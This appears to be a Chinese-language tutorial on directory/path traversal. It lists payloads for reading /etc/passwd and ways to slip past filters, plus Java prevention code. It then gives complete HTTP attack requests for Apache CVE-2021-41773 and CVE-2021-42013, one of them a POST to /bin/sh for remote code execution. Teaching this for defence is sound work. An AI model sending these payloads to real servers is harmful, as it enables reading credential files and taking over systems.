本文介紹目錄遍歷(文件路徑遍歷)-Directory traversal/Path traversal,透過漏洞取得伺服器檔案,如原始碼、設定檔(帳號密碼 IP)造成敏感外洩。
因為有很多 ../../../ 又稱 dot-dot-slash attack。
Path Traversal
目錄遍歷(文件路徑遍歷)可以透過這個漏洞取得伺服器的任意檔案,包含以下的內容,如伺服器內部的原始碼,敏感資料設定檔(帳號密碼 IP 等),有可能可以寫入任意檔案或取得伺服器的權限。 ## Directory traversal example
以下為範例 – 相對位置
../../../etc/passwd
- 絕對位置
/etc/passwd
- 如果過濾掉
../
→path.replaceAll('../', '')
- 如果過濾掉
- 使用
....//....//....//
....//
中間../
被過濾掉- 或使用
....\/....\/....\/
..%c0%af
or..%252f
filename=/var/www/images/../../../etc/passwd
filename=../../../etc/passwd%00.png
如何預防攻擊 – 如何預防攻擊
- 避免使用者輸入直接與 API 接觸
- 白名單
- java code demo
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
// process file
}
apache directory traversal
已知漏洞 CVE-2021-41773
<Directory />
Require all granted
</Directory>
- 攻擊封包
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
已知漏洞 CVE-2021-42013
- CVE-2021-42013 CVE 網站
- 雙 URL 編碼
- 攻擊封包(瀏覽 /etc/passwd)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
- 攻擊封包(RCE)
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
POST/cgi-bin/../../../../../../../bin/shHTTP/1.1